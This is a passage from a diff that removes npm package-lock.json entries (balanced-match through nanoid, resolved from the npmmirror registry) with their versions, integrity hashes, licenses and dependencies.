"https://registry.npmmirror.com/balanced-match/-/balanced-match-1.0.2.tgz", - "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", - "dev": true, - "license": "MIT" - }, - "node_modules/binary-extensions": { - "version": "2.3.0", - "resolved": "https://registry.npmmirror.com/binary-extensions/-/binary-extensions-2.3.0.tgz", - "integrity": "sha512-Ceh+7ox5qe7LJuLHoY0feh3pHuUDHAcRUeyL2VYghZwfpkNIy/+8Ocg0a3UuSoYzavmylwuLWQOf3hl0jjMMIw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/brace-expansion": { - "version": "2.0.2", - "resolved": "https://registry.npmmirror.com/brace-expansion/-/brace-expansion-2.0.2.tgz", - "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "balanced-match": "^1.0.0" - } - }, - "node_modules/braces": { - "version": "3.0.3", - "resolved": "https://registry.npmmirror.com/braces/-/braces-3.0.3.tgz", - "integrity": "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==", - "dev": true, - "license": "MIT", - "dependencies": { - "fill-range": "^7.1.1" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/call-bind-apply-helpers": { - "version": "1.0.2", - "resolved": "https://registry.npmmirror.com/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz", - "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==", - "license": "MIT", - "dependencies": { - "es-errors": "^1.3.0", - "function-bind": "^1.1.2" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/chokidar": { - "version": "4.0.3", - "resolved": "https://registry.npmmirror.com/chokidar/-/chokidar-4.0.3.tgz", - "integrity": "sha512-Qgzu8kfBvo+cA4962jnP1KkS6Dop5NS6g7R5LFYJr4b8Ub94PPQXUksCw9PvXoeXPRRddRNC5C1JQUR2SMGtnA==", - "dev": true, - "license": "MIT", - "dependencies": { - "readdirp": "^4.0.1" - }, - "engines": { - "node": ">= 14.16.0" - }, - "funding": { - "url": "https://paulmillr.com/funding/" - } - }, - "node_modules/combined-stream": { - "version": "1.0.8", - "resolved": "https://registry.npmmirror.com/combined-stream/-/combined-stream-1.0.8.tgz", - "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", - "license": "MIT", - "dependencies": { - "delayed-stream": "~1.0.0" - }, - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/confbox": { - "version": "0.1.8", - "resolved": "https://registry.npmmirror.com/confbox/-/confbox-0.1.8.tgz", - "integrity": "sha512-RMtmw0iFkeR4YV+fUOSucriAQNb9g8zFR52MWCtl+cCZOFRNL6zeB395vPzFhEjjn4fMxXudmELnl/KF/WrK6w==", - "dev": true, - "license": "MIT" - }, - "node_modules/csstype": { - "version": "3.2.3", - "resolved": "https://registry.npmmirror.com/csstype/-/csstype-3.2.3.tgz", - "integrity": "sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==", - "license": "MIT" - }, - "node_modules/dayjs": { - "version": "1.11.19", - "resolved": "https://registry.npmmirror.com/dayjs/-/dayjs-1.11.19.tgz", - "integrity": "sha512-t5EcLVS6QPBNqM2z8fakk/NKel+Xzshgt8FFKAn+qwlD1pzZWxh0nVCrvFK7ZDb6XucZeF9z8C7CBWTRIVApAw==", - "license": "MIT" - }, - "node_modules/de-indent": { - "version": "1.0.2", - "resolved": "https://registry.npmmirror.com/de-indent/-/de-indent-1.0.2.tgz", - "integrity": "sha512-e/1zu3xH5MQryN2zdVaF0OrdNLUbvWxzMbi+iNA6Bky7l1RoP8a2fIbRocyHclXt/arDrrR6lL3TqFD9pMQTsg==", - "dev": true, - "license": "MIT" - }, - "node_modules/debug": { - "version": "4.4.3", - "resolved": "https://registry.npmmirror.com/debug/-/debug-4.4.3.tgz", - "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", - "dev": true, - "license": "MIT", - "dependencies": { - "ms": "^2.1.3" - }, - "engines": { - "node": ">=6.0" - }, - "peerDependenciesMeta": { - "supports-color": { - "optional": true - } - } - }, - "node_modules/delayed-stream": { - "version": "1.0.0", - "resolved": "https://registry.npmmirror.com/delayed-stream/-/delayed-stream-1.0.0.tgz", - "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", - "license": "MIT", - "engines": { - "node": ">=0.4.0" - } - }, - "node_modules/detect-libc": { - "version": "2.1.2", - "resolved": "https://registry.npmmirror.com/detect-libc/-/detect-libc-2.1.2.tgz", - "integrity": "sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ==", - "dev": true, - "license": "Apache-2.0", - "optional": true, - "engines": { - "node": ">=8" - } - }, - "node_modules/dunder-proto": { - "version": "1.0.1", - "resolved": "https://registry.npmmirror.com/dunder-proto/-/dunder-proto-1.0.1.tgz", - "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==", - "license": "MIT", - "dependencies": { - "call-bind-apply-helpers": "^1.0.1", - "es-errors": "^1.3.0", - "gopd": "^1.2.0" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/echarts": { - "version": "5.6.0", - "resolved": "https://registry.npmmirror.com/echarts/-/echarts-5.6.0.tgz", - "integrity": "sha512-oTbVTsXfKuEhxftHqL5xprgLoc0k7uScAwtryCgWF6hPYFLRwOUHiFmHGCBKP5NPFNkDVopOieyUqYGH8Fa3kA==", - "license": "Apache-2.0", - "dependencies": { - "tslib": "2.3.0", - "zrender": "5.6.1" - } - }, - "node_modules/element-plus": { - "version": "2.13.2", - "resolved": "https://registry.npmmirror.com/element-plus/-/element-plus-2.13.2.tgz", - "integrity": "sha512-Zjzm1NnFXGhV4LYZ6Ze9skPlYi2B4KAmN18FL63A3PZcjhDfroHwhtM6RE8BonlOPHXUnPQynH0BgaoEfvhrGw==", - "license": "MIT", - "dependencies": { - "@ctrl/tinycolor": "^3.4.1", - "@element-plus/icons-vue": "^2.3.2", - "@floating-ui/dom": "^1.0.1", - "@popperjs/core": "npm:@sxzz/popperjs-es@^2.11.7", - "@types/lodash": "^4.17.20", - "@types/lodash-es": "^4.17.12", - "@vueuse/core": "^10.11.0", - "async-validator": "^4.2.5", - "dayjs": "^1.11.19", - "lodash": "^4.17.23", - "lodash-es": "^4.17.23", - "lodash-unified": "^1.0.3", - "memoize-one": "^6.0.0", - "normalize-wheel-es": "^1.2.0" - }, - "peerDependencies": { - "vue": "^3.3.0" - } - }, - "node_modules/entities": { - "version": "7.0.1", - "resolved": "https://registry.npmmirror.com/entities/-/entities-7.0.1.tgz", - "integrity": "sha512-TWrgLOFUQTH994YUyl1yT4uyavY5nNB5muff+RtWaqNVCAK408b5ZnnbNAUEWLTCpum9w6arT70i1XdQ4UeOPA==", - "license": "BSD-2-Clause", - "engines": { - "node": ">=0.12" - }, - "funding": { - "url": "https://github.com/fb55/entities?sponsor=1" - } - }, - "node_modules/es-define-property": { - "version": "1.0.1", - "resolved": "https://registry.npmmirror.com/es-define-property/-/es-define-property-1.0.1.tgz", - "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==", - "license": "MIT", - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/es-errors": { - "version": "1.3.0", - "resolved": "https://registry.npmmirror.com/es-errors/-/es-errors-1.3.0.tgz", - "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", - "license": "MIT", - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/es-object-atoms": { - "version": "1.1.1", - "resolved": "https://registry.npmmirror.com/es-object-atoms/-/es-object-atoms-1.1.1.tgz", - "integrity": "sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==", - "license": "MIT", - "dependencies": { - "es-errors": "^1.3.0" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/es-set-tostringtag": { - "version": "2.1.0", - "resolved": "https://registry.npmmirror.com/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz", - "integrity": "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==", - "license": "MIT", - "dependencies": { - "es-errors": "^1.3.0", - "get-intrinsic": "^1.2.6", - "has-tostringtag": "^1.0.2", - "hasown": "^2.0.2" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/esbuild": { - "version": "0.21.5", - "resolved": "https://registry.npmmirror.com/esbuild/-/esbuild-0.21.5.tgz", - "integrity": "sha512-mg3OPMV4hXywwpoDxu3Qda5xCKQi+vCTZq8S9J/EpkhB2HzKXq4SNFZE3+NK93JYxc8VMSep+lOUSC/RVKaBqw==", - "dev": true, - "hasInstallScript": true, - "license": "MIT", - "bin": { - "esbuild": "bin/esbuild" - }, - "engines": { - "node": ">=12" - }, - "optionalDependencies": { - "@esbuild/aix-ppc64": "0.21.5", - "@esbuild/android-arm": "0.21.5", - "@esbuild/android-arm64": "0.21.5", - "@esbuild/android-x64": "0.21.5", - "@esbuild/darwin-arm64": "0.21.5", - "@esbuild/darwin-x64": "0.21.5", - "@esbuild/freebsd-arm64": "0.21.5", - "@esbuild/freebsd-x64": "0.21.5", - "@esbuild/linux-arm": "0.21.5", - "@esbuild/linux-arm64": "0.21.5", - "@esbuild/linux-ia32": "0.21.5", - "@esbuild/linux-loong64": "0.21.5", - "@esbuild/linux-mips64el": "0.21.5", - "@esbuild/linux-ppc64": "0.21.5", - "@esbuild/linux-riscv64": "0.21.5", - "@esbuild/linux-s390x": "0.21.5", - "@esbuild/linux-x64": "0.21.5", - "@esbuild/netbsd-x64": "0.21.5", - "@esbuild/openbsd-x64": "0.21.5", - "@esbuild/sunos-x64": "0.21.5", - "@esbuild/win32-arm64": "0.21.5", - "@esbuild/win32-ia32": "0.21.5", - "@esbuild/win32-x64": "0.21.5" - } - }, - "node_modules/escape-string-regexp": { - "version": "5.0.0", - "resolved": "https://registry.npmmirror.com/escape-string-regexp/-/escape-string-regexp-5.0.0.tgz", - "integrity": "sha512-/veY75JbMK4j1yjvuUxuVsiS/hr/4iHs9FTT6cgTexxdE0Ly/glccBAkloH/DofkjRbZU3bnoj38mOmhkZ0lHw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/estree-walker": { - "version": "2.0.2", - "resolved": "https://registry.npmmirror.com/estree-walker/-/estree-walker-2.0.2.tgz", - "integrity": "sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==", - "license": "MIT" - }, - "node_modules/exsolve": { - "version": "1.0.8", - "resolved": "https://registry.npmmirror.com/exsolve/-/exsolve-1.0.8.tgz", - "integrity": "sha512-LmDxfWXwcTArk8fUEnOfSZpHOJ6zOMUJKOtFLFqJLoKJetuQG874Uc7/Kki7zFLzYybmZhp1M7+98pfMqeX8yA==", - "dev": true, - "license": "MIT" - }, - "node_modules/fast-glob": { - "version": "3.3.3", - "resolved": "https://registry.npmmirror.com/fast-glob/-/fast-glob-3.3.3.tgz", - "integrity": "sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@nodelib/fs.stat": "^2.0.2", - "@nodelib/fs.walk": "^1.2.3", - "glob-parent": "^5.1.2", - "merge2": "^1.3.0", - "micromatch": "^4.0.8" - }, - "engines": { - "node": ">=8.6.0" - } - }, - "node_modules/fastq": { - "version": "1.20.1", - "resolved": "https://registry.npmmirror.com/fastq/-/fastq-1.20.1.tgz", - "integrity": "sha512-GGToxJ/w1x32s/D2EKND7kTil4n8OVk/9mycTc4VDza13lOvpUZTGX3mFSCtV9ksdGBVzvsyAVLM6mHFThxXxw==", - "dev": true, - "license": "ISC", - "dependencies": { - "reusify": "^1.0.4" - } - }, - "node_modules/fill-range": { - "version": "7.1.1", - "resolved": "https://registry.npmmirror.com/fill-range/-/fill-range-7.1.1.tgz", - "integrity": "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==", - "dev": true, - "license": "MIT", - "dependencies": { - "to-regex-range": "^5.0.1" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/follow-redirects": { - "version": "1.15.11", - "resolved": "https://registry.npmmirror.com/follow-redirects/-/follow-redirects-1.15.11.tgz", - "integrity": "sha512-deG2P0JfjrTxl50XGCDyfI97ZGVCxIpfKYmfyrQ54n5FO/0gfIES8C/Psl6kWVDolizcaaxZJnTS0QSMxvnsBQ==", - "funding": [ - { - "type": "individual", - "url": "https://github.com/sponsors/RubenVerborgh" - } - ], - "license": "MIT", - "engines": { - "node": ">=4.0" - }, - "peerDependenciesMeta": { - "debug": { - "optional": true - } - } - }, - "node_modules/form-data": { - "version": "4.0.5", - "resolved": "https://registry.npmmirror.com/form-data/-/form-data-4.0.5.tgz", - "integrity": "sha512-8RipRLol37bNs2bhoV67fiTEvdTrbMUYcFTiy3+wuuOnUog2QBHCZWXDRijWQfAkhBj2Uf5UnVaiWwA5vdd82w==", - "license": "MIT", - "dependencies": { - "asynckit": "^0.4.0", - "combined-stream": "^1.0.8", - "es-set-tostringtag": "^2.1.0", - "hasown": "^2.0.2", - "mime-types": "^2.1.12" - }, - "engines": { - "node": ">= 6" - } - }, - "node_modules/fsevents": { - "version": "2.3.3", - "resolved": "https://registry.npmmirror.com/fsevents/-/fsevents-2.3.3.tgz", - "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", - "dev": true, - "hasInstallScript": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": "^8.16.0 || ^10.6.0 || >=11.0.0" - } - }, - "node_modules/function-bind": { - "version": "1.1.2", - "resolved": "https://registry.npmmirror.com/function-bind/-/function-bind-1.1.2.tgz", - "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", - "license": "MIT", - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/get-intrinsic": { - "version": "1.3.0", - "resolved": "https://registry.npmmirror.com/get-intrinsic/-/get-intrinsic-1.3.0.tgz", - "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==", - "license": "MIT", - "dependencies": { - "call-bind-apply-helpers": "^1.0.2", - "es-define-property": "^1.0.1", - "es-errors": "^1.3.0", - "es-object-atoms": "^1.1.1", - "function-bind": "^1.1.2", - "get-proto": "^1.0.1", - "gopd": "^1.2.0", - "has-symbols": "^1.1.0", - "hasown": "^2.0.2", - "math-intrinsics": "^1.1.0" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/get-proto": { - "version": "1.0.1", - "resolved": "https://registry.npmmirror.com/get-proto/-/get-proto-1.0.1.tgz", - "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==", - "license": "MIT", - "dependencies": { - "dunder-proto": "^1.0.1", - "es-object-atoms": "^1.0.0" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/glob-parent": { - "version": "5.1.2", - "resolved": "https://registry.npmmirror.com/glob-parent/-/glob-parent-5.1.2.tgz", - "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", - "dev": true, - "license": "ISC", - "dependencies": { - "is-glob": "^4.0.1" - }, - "engines": { - "node": ">= 6" - } - }, - "node_modules/gopd": { - "version": "1.2.0", - "resolved": "https://registry.npmmirror.com/gopd/-/gopd-1.2.0.tgz", - "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==", - "license": "MIT", - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/has-symbols": { - "version": "1.1.0", - "resolved": "https://registry.npmmirror.com/has-symbols/-/has-symbols-1.1.0.tgz", - "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==", - "license": "MIT", - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/has-tostringtag": { - "version": "1.0.2", - "resolved": "https://registry.npmmirror.com/has-tostringtag/-/has-tostringtag-1.0.2.tgz", - "integrity": "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==", - "license": "MIT", - "dependencies": { - "has-symbols": "^1.0.3" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/hasown": { - "version": "2.0.2", - "resolved": "https://registry.npmmirror.com/hasown/-/hasown-2.0.2.tgz", - "integrity": "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==", - "license": "MIT", - "dependencies": { - "function-bind": "^1.1.2" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/he": { - "version": "1.2.0", - "resolved": "https://registry.npmmirror.com/he/-/he-1.2.0.tgz", - "integrity": "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==", - "dev": true, - "license": "MIT", - "bin": { - "he": "bin/he" - } - }, - "node_modules/immutable": { - "version": "5.1.4", - "resolved": "https://registry.npmmirror.com/immutable/-/immutable-5.1.4.tgz", - "integrity": "sha512-p6u1bG3YSnINT5RQmx/yRZBpenIl30kVxkTLDyHLIMk0gict704Q9n+thfDI7lTRm9vXdDYutVzXhzcThxTnXA==", - "dev": true, - "license": "MIT" - }, - "node_modules/is-binary-path": { - "version": "2.1.0", - "resolved": "https://registry.npmmirror.com/is-binary-path/-/is-binary-path-2.1.0.tgz", - "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", - "dev": true, - "license": "MIT", - "dependencies": { - "binary-extensions": "^2.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/is-core-module": { - "version": "2.16.1", - "resolved": "https://registry.npmmirror.com/is-core-module/-/is-core-module-2.16.1.tgz", - "integrity": "sha512-UfoeMA6fIJ8wTYFEUjelnaGI67v6+N7qXJEvQuIGa99l4xsCruSYOVSQ0uPANn4dAzm8lkYPaKLrrijLq7x23w==", - "dev": true, - "license": "MIT", - "dependencies": { - "hasown": "^2.0.2" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/is-extglob": { - "version": "2.1.1", - "resolved": "https://registry.npmmirror.com/is-extglob/-/is-extglob-2.1.1.tgz", - "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-glob": { - "version": "4.0.3", - "resolved": "https://registry.npmmirror.com/is-glob/-/is-glob-4.0.3.tgz", - "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", - "dev": true, - "license": "MIT", - "dependencies": { - "is-extglob": "^2.1.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-number": { - "version": "7.0.0", - "resolved": "https://registry.npmmirror.com/is-number/-/is-number-7.0.0.tgz", - "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.12.0" - } - }, - "node_modules/js-tokens": { - "version": "9.0.1", - "resolved": "https://registry.npmmirror.com/js-tokens/-/js-tokens-9.0.1.tgz", - "integrity": "sha512-mxa9E9ITFOt0ban3j6L5MpjwegGz6lBQmM1IJkWeBZGcMxto50+eWdjC/52xDbS2vy0k7vIMK0Fe2wfL9OQSpQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/local-pkg": { - "version": "0.5.1", - "resolved": "https://registry.npmmirror.com/local-pkg/-/local-pkg-0.5.1.tgz", - "integrity": "sha512-9rrA30MRRP3gBD3HTGnC6cDFpaE1kVDWxWgqWJUN0RvDNAo+Nz/9GxB+nHOH0ifbVFy0hSA1V6vFDvnx54lTEQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "mlly": "^1.7.3", - "pkg-types": "^1.2.1" - }, - "engines": { - "node": ">=14" - }, - "funding": { - "url": "https://github.com/sponsors/antfu" - } - }, - "node_modules/lodash": { - "version": "4.17.23", - "resolved": "https://registry.npmmirror.com/lodash/-/lodash-4.17.23.tgz", - "integrity": "sha512-LgVTMpQtIopCi79SJeDiP0TfWi5CNEc/L/aRdTh3yIvmZXTnheWpKjSZhnvMl8iXbC1tFg9gdHHDMLoV7CnG+w==", - "license": "MIT" - }, - "node_modules/lodash-es": { - "version": "4.17.23", - "resolved": "https://registry.npmmirror.com/lodash-es/-/lodash-es-4.17.23.tgz", - "integrity": "sha512-kVI48u3PZr38HdYz98UmfPnXl2DXrpdctLrFLCd3kOx1xUkOmpFPx7gCWWM5MPkL/fD8zb+Ph0QzjGFs4+hHWg==", - "license": "MIT" - }, - "node_modules/lodash-unified": { - "version": "1.0.3", - "resolved": "https://registry.npmmirror.com/lodash-unified/-/lodash-unified-1.0.3.tgz", - "integrity": "sha512-WK9qSozxXOD7ZJQlpSqOT+om2ZfcT4yO+03FuzAHD0wF6S0l0090LRPDx3vhTTLZ8cFKpBn+IOcVXK6qOcIlfQ==", - "license": "MIT", - "peerDependencies": { - "@types/lodash-es": "*", - "lodash": "*", - "lodash-es": "*" - } - }, - "node_modules/magic-string": { - "version": "0.30.21", - "resolved": "https://registry.npmmirror.com/magic-string/-/magic-string-0.30.21.tgz", - "integrity": "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ==", - "license": "MIT", - "dependencies": { - "@jridgewell/sourcemap-codec": "^1.5.5" - } - }, - "node_modules/math-intrinsics": { - "version": "1.1.0", - "resolved": "https://registry.npmmirror.com/math-intrinsics/-/math-intrinsics-1.1.0.tgz", - "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==", - "license": "MIT", - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/memoize-one": { - "version": "6.0.0", - "resolved": "https://registry.npmmirror.com/memoize-one/-/memoize-one-6.0.0.tgz", - "integrity": "sha512-rkpe71W0N0c0Xz6QD0eJETuWAJGnJ9afsl1srmwPrI+yBCkge5EycXXbYRyvL29zZVUWQCY7InPRCv3GDXuZNw==", - "license": "MIT" - }, - "node_modules/merge2": { - "version": "1.4.1", - "resolved": "https://registry.npmmirror.com/merge2/-/merge2-1.4.1.tgz", - "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 8" - } - }, - "node_modules/micromatch": { - "version": "4.0.8", - "resolved": "https://registry.npmmirror.com/micromatch/-/micromatch-4.0.8.tgz", - "integrity": "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==", - "dev": true, - "license": "MIT", - "dependencies": { - "braces": "^3.0.3", - "picomatch": "^2.3.1" - }, - "engines": { - "node": ">=8.6" - } - }, - "node_modules/micromatch/node_modules/picomatch": { - "version": "2.3.1", - "resolved": "https://registry.npmmirror.com/picomatch/-/picomatch-2.3.1.tgz", - "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8.6" - }, - "funding": { - "url": "https://github.com/sponsors/jonschlinkert" - } - }, - "node_modules/mime-db": { - "version": "1.52.0", - "resolved": "https://registry.npmmirror.com/mime-db/-/mime-db-1.52.0.tgz", - "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", - "license": "MIT", - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/mime-types": { - "version": "2.1.35", - "resolved": "https://registry.npmmirror.com/mime-types/-/mime-types-2.1.35.tgz", - "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", - "license": "MIT", - "dependencies": { - "mime-db": "1.52.0" - }, - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/minimatch": { - "version": "9.0.5", - "resolved": "https://registry.npmmirror.com/minimatch/-/minimatch-9.0.5.tgz", - "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==", - "dev": true, - "license": "ISC", - "dependencies": { - "brace-expansion": "^2.0.1" - }, - "engines": { - "node": ">=16 || 14 >=14.17" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, - "node_modules/mlly": { - "version": "1.8.0", - "resolved": "https://registry.npmmirror.com/mlly/-/mlly-1.8.0.tgz", - "integrity": "sha512-l8D9ODSRWLe2KHJSifWGwBqpTZXIXTeo8mlKjY+E2HAakaTeNpqAyBZ8GSqLzHgw4XmHmC8whvpjJNMbFZN7/g==", - "dev": true, - "license": "MIT", - "dependencies": { - "acorn": "^8.15.0", - "pathe": "^2.0.3", - "pkg-types": "^1.3.1", - "ufo": "^1.6.1" - } - }, - "node_modules/ms": { - "version": "2.1.3", - "resolved": "https://registry.npmmirror.com/ms/-/ms-2.1.3.tgz", - "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", - "dev": true, - "license": "MIT" - }, - "node_modules/muggle-string": { - "version": "0.4.1", - "resolved": "https://registry.npmmirror.com/muggle-string/-/muggle-string-0.4.1.tgz", - "integrity": "sha512-VNTrAak/KhO2i8dqqnqnAHOa3cYBwXEZe9h+D5h/1ZqFSTEFHdM65lR7RoIqq3tBBYavsOXV84NoHXZ0AkPyqQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/nanoid": { - "version": "3.3.11", - "resolved": "https://registry.npmmirror.com/nanoid/-/nanoid-3.3.11.tgz", - "integrity": 